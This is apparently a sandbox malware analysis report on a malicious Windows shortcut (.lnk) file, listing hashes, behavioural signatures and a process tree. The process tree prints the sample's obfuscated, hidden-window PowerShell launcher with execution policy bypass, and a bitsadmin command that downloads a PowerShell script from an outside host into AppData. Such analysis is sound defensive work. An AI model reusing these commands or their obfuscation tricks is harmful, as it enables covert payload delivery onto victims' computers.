Analysis
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max time kernel
131s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 01:03
Static task
static1
Behavioral task
behavioral1
Sample
693af6c78d4d741fbd604f78c4d4dfcd_JaffaCakes118.lnk
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
693af6c78d4d741fbd604f78c4d4dfcd_JaffaCakes118.lnk
Resource
win10v2004-20240508-en
General
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Target
693af6c78d4d741fbd604f78c4d4dfcd_JaffaCakes118.lnk
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Size
2KB
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MD5
693af6c78d4d741fbd604f78c4d4dfcd
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SHA1
1369a8ec12f788b9df487e7500efcdb1aa18bb54
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SHA256
7a8c0421b30ede4d8c087a4273a1b2a707c118a5e7db97dfc9d04c0d9dc45791
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SHA512
acb95368819667942c435e968f930a274f3ce06b39a917c747360387c4259c71072b8f1ae2adafda32277658da84465f91c1befd493d8e4576ba6d35c229ed30
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Download via BitsAdmin 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 940 powershell.exe 940 powershell.exe 2956 powershell.exe 2956 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 940 powershell.exe Token: SeDebugPrivilege 2956 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
cmd.exepowershell.exepowershell.execmd.exedescription pid process target process PID 2372 wrote to memory of 940 2372 cmd.exe powershell.exe PID 2372 wrote to memory of 940 2372 cmd.exe powershell.exe PID 940 wrote to memory of 2956 940 powershell.exe powershell.exe PID 940 wrote to memory of 2956 940 powershell.exe powershell.exe PID 2956 wrote to memory of 1336 2956 powershell.exe findstr.exe PID 2956 wrote to memory of 1336 2956 powershell.exe findstr.exe PID 940 wrote to memory of 2400 940 powershell.exe cmd.exe PID 940 wrote to memory of 2400 940 powershell.exe cmd.exe PID 2400 wrote to memory of 4532 2400 cmd.exe bitsadmin.exe PID 2400 wrote to memory of 4532 2400 cmd.exe bitsadmin.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\693af6c78d4d741fbd604f78c4d4dfcd_JaffaCakes118.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -eP ByPass -nonI -c "&{$u='fingstr' -replace 'g','d'; $t='powershell -wi"N "hi"dDen -c { '+$u+' /s jerdolikab c:\users\*.lnk}'; $e=iex "$t"; "$e"|iex}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -wiN hidDen -encodedCommand IABmAGkAbgBkAHMAdAByACAALwBzACAAagBlAHIAZABvAGwAaQBrAGEAYgAgAGMAOgBcAHUAcwBlAHIAcwBcACoALgBsAG4AawA= -inputFormat xml -outputFormat xml3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\system32\findstr.exe"C:\Windows\system32\findstr.exe" /s jerdolikab c:\users\*.lnk4⤵PID:1336
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\\d & bitsadmin /wrap /transfer jerdolikab /download /priority FOREGROUND "https://dkempton.com/kengur/arbojam" C:\Users\Admin\AppData\Roaming\\wKYSIZxhacvyRt.ps1 & del C:\Users\Admin\AppData\Roaming\\d & exit3⤵
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\system32\bitsadmin.exebitsadmin /wrap /transfer jerdolikab /download /priority FOREGROUND "https://dkempton.com/kengur/arbojam" C:\Users\Admin\AppData\Roaming\\wKYSIZxhacvyRt.ps14⤵
- Download via BitsAdmin
PID:4532
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82